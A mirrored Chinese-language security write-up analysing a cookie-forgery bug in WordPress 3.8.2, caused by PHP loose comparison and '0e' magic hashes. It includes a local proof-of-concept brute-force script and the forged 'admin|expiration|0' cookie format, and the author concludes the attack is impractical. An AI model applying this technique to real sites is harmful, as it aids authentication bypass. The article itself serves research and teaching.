WordPress 3.8.2 cookie偽造漏洞再分析

wyzsk發表於2020-08-19
作者: donwa · 2014/04/13 23:12

0x00 背景


看了WordPress 3.8.2補丁分析 HMAC timing attack,眼界大開,原來還可以利用時間差來判斷HMAC。

但我總覺得這個漏洞並不是簡單的修復這個問題。

檢視了官方提供的資料:“該漏洞是由WordPress的安全團隊成員Jon Cave發現。”。

也許漏洞還有這樣利用的可能。

0x01 PHP的特性


當PHP在進行 ”==”,”!=”等非嚴格匹配的情況下,會按照值的實際情況,進行強制轉換。

#!php
<?php
var_dump(0 == '0'); // true
var_dump(0 == 'abcdefg'); // true  
var_dump(0 === 'abcdefg'); // false
var_dump(1 == '1abcdef'); // true  
?>

當有一個對比引數是整數的時候,會把另外一個引數強制轉換為整數。

0x02 分析修復的程式碼


官方版的diff只在php裡改動了一個位置:

#!diff
<?php
-  if ( $hmac != $hash ) {  
+  if ( hash_hmac( 'md5', $hmac, $key ) !== hash_hmac( 'md5', $hash, $key ) ) { 
?>

其中$hmac來源於cookies。是我們可控的一個輸入引數。

#!php
<?php
Admin|1397564163|1f253e501c301bf5bf293c40d7d92ded
//$username = ‘Admin’;
//$expiration = 1397564163;
//$hmac = ‘1f253e501c301bf5bf293c40d7d92ded’;
?>

$hash是以下程式碼生成一個md5值。

#!php
<?php
$key = wp_hash($username . $pass_frag . '|' . $expiration, $scheme);
$hash = hash_hmac('md5', $username . '|' . $expiration, $key);
?>

$hmac == $hash 時,登入成功。

那麼,有幾種情況會登入成功。

#!php
<?php
//第一種情況,完全相等。
$hmac = ‘1f253e501c301bf5bf293c40d7d92ded’;
$hash = ‘1f253e501c301bf5bf293c40d7d92ded’;
//第二種情況.第一位為數字,第二位為字母
$hmac = 1;
$hash = ‘1f253e501c301bf5bf293c40d7d92ded’;
//第三種情況。第一位為字母
$hmac = 0;
$hash = ‘af253e501c301bf5bf293c40d7d92ded’;
?>

很明顯,第三種出現的情況非常大。

那麼我們有沒有可能把$hmac構造成一個整數0呢?

0x03 漏洞利用


我們看看cookie解析的程式碼:

#!php
<?php
    $cookie_elements = explode('|', $cookie);
    if ( count($cookie_elements) != 3 )
        return false;
    list($username, $expiration, $hmac) = $cookie_elements;
?>

當我們把cookie設定為:

Admin|1397564163|1

時。$hmac=’1’。但是,$hmac是字串1,而不是整數1。

#!php
<?php
var_dump($hmac);//string(“1”);
?>

非常遺憾,這個漏洞是不能利用的。

難道官方修復的真的不是這個漏洞?

0x04 柳暗花明又一村


還有什麼情況能讓字串識別成整數嗎?是的,還有!

#!php
<?php
var_dump("0" == "0e1234567890123456...32"); // true
?>

‘e’會識別為次方,0的N次方為0;

所以,這個漏洞的利用方式還可以是: 讓$hmac = ‘0’;

透過改變$expiration來改變$hash。獲得一個,第一位為0,第二位為e,後面所有位為數字的$hash.

#!php
<?php
$hmac = ‘0’;
$hash = ‘0e1234567890123456...32’;
var_dump($hmac == $hash);  // true
?>

0x05 攻擊程式碼


本地測試程式碼(實際攻擊程式碼應該是構造cookies遠端請求):

#!php
<?php
    include( 'wp-load.php' );

    $user = get_userdata(1);
    $username = $user->user_login;
    $pass_frag = substr($user->user_pass, 8, 4);

    $expiration = 9999999999; //設定一個很大的過期時間,然後遞減

    while($expiration >0){
        $key = wp_hash($username . $pass_frag . '|' . $expiration, 'auth');
        $hash = hash_hmac('md5', $username . '|' . $expiration, $key);
        if('0' == $hash OR '1'== $hash ){
            echo $expiration.'@'.$hash;
            file_put_contents('done.txt',$expiration.'@'.$hash);
            exit();
        }
        $expiration -= 1;//過期時間-1
        echo $expiration.'@'.$hash."\r\n";
    }
?>

透過改變過期時間,嘗試碰撞到可以利用的hash。

按照理論值。碰撞到可以利用的$expiration機率是(2110^30)/(16^32)。也就是5.8774717541114 * 10 -9。

理論上:把cookies設定成 “admin|碰撞到的過期時間|0”,就可以登陸後臺了。

但是機率太小,還不如窮舉密碼了。

Ps:我本地跑了幾個小時了,還沒遇到一個。

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章